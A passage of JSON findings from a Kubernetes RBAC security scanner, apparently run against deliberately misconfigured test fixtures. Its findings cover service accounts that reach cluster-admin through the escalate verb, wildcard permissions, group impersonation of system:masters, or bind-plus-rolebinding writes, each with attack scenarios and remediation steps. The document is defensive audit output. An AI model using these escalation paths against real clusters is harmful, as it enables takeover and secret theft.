      "detail": "Source `ServiceAccount/rbac-fixtures/sa-bind-escalate` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-bind-escalate` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-bind-escalate` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-bind-escalate`, the attacker rewrites a role it is already bound to so that the role grants more than it did, typically everything. Writing a role with permissions you do not hold is normally refused; the `escalate` verb (`create/update (cluster)roles + escalate`) is the carve-out that lifts exactly that guardrail, and this subject holds it alongside write access to the role. No new binding is needed, because the subject is already bound to the role it is widening.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. bind_or_escalate [create/update (cluster)roles + escalate]"
      ],
      "first_action": "bind_or_escalate",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "bind_or_escalate"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create/update (cluster)roles + escalate` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-bind-escalate` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the `create/update (cluster)roles + escalate` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-bind-escalate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bind_or_escalate",
        "technique": "KUBE-PRIVESC-009",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-bind-escalate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update (cluster)roles + escalate",
        "gains": "can widen a role it is already bound to, holding the `escalate` verb that lifts RBAC escalation prevention"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-cluster-admin:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-cluster-admin` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-cluster-admin` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-cluster-admin",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-cluster-admin` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-cluster-admin` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-cluster-admin` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/rbac-fixtures/sa-cluster-admin` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-cluster-admin` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-cluster-admin",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "crb-cluster-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-impersonate:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-impersonate` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-impersonate` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-impersonate` → `/` via `impersonate` (impersonate groups): can impersonate any group, including system:masters\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-impersonate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-impersonate` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-impersonate` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-impersonate` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-impersonate`, the attacker uses RBAC impersonation (the `impersonate` verb on `impersonate groups`) to send API requests as any identity in the cluster, including `system:masters`, which the apiserver hard-codes as cluster-admin. Granting `impersonate` on `groups` with no `resourceNames` is functionally a cluster-admin grant.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. impersonate [impersonate groups]"
      ],
      "first_action": "impersonate",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "impersonate"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `impersonate groups` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the `impersonate groups` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-impersonate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "impersonate",
        "technique": "KUBE-PRIVESC-008",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-impersonate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "impersonate groups",
        "gains": "can impersonate any group, including system:masters",
        "source_binding": "crb-impersonate",
        "source_role": "cr-impersonate"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-rolebinding-mutate:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` → `/` via `modify_role_binding` (create/update (cluster)rolebindings + bind (cluster)roles): can bind itself to any role, holding the `bind` verb that satisfies RBAC escalation prevention\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-rolebinding-mutate",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/rbac-fixtures/sa-rolebinding-mutate`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update (cluster)rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update (cluster)rolebindings + bind (cluster)roles]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "modify_role_binding"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the `create/update (cluster)rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the `create/update (cluster)rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/rbac-fixtures/sa-rolebinding-mutate` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-rolebinding-mutate",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update (cluster)rolebindings + bind (cluster)roles",
        "gains": "can bind itself to any role, holding the `bind` verb that satisfies RBAC escalation prevention"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/rbac-fixtures/sa-wildcard:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.65,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/rbac-fixtures/sa-wildcard` can reach **cluster-admin equivalent** in 1 hop(s)",
    "description": "Subject `ServiceAccount/rbac-fixtures/sa-wildcard` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/rbac-fixtures/sa-wildcard` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-wildcard",
      "namespace": "rbac-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/rbac-fixtures/sa-wildcard` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/rbac-fixtures/sa-wildcard` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/rbac-fixtures/sa-wildcard` (RCE in any application using its identity, leaked token, or compromised image).",
      "The identity `ServiceAccount/rbac-fixtures/sa-wildcard` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. wildcard_permission [*:*:*]"
      ],
      "first_action": "wildcard_permission",
      "hop_count": 1,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `*:*:*` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `*:*:*` that enables the first hop (`ServiceAccount/rbac-fixtures/sa-wildcard` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-wildcard",
          "namespace": "rbac-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "crb-wildcard",
        "source_role": "cr-wildcard"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
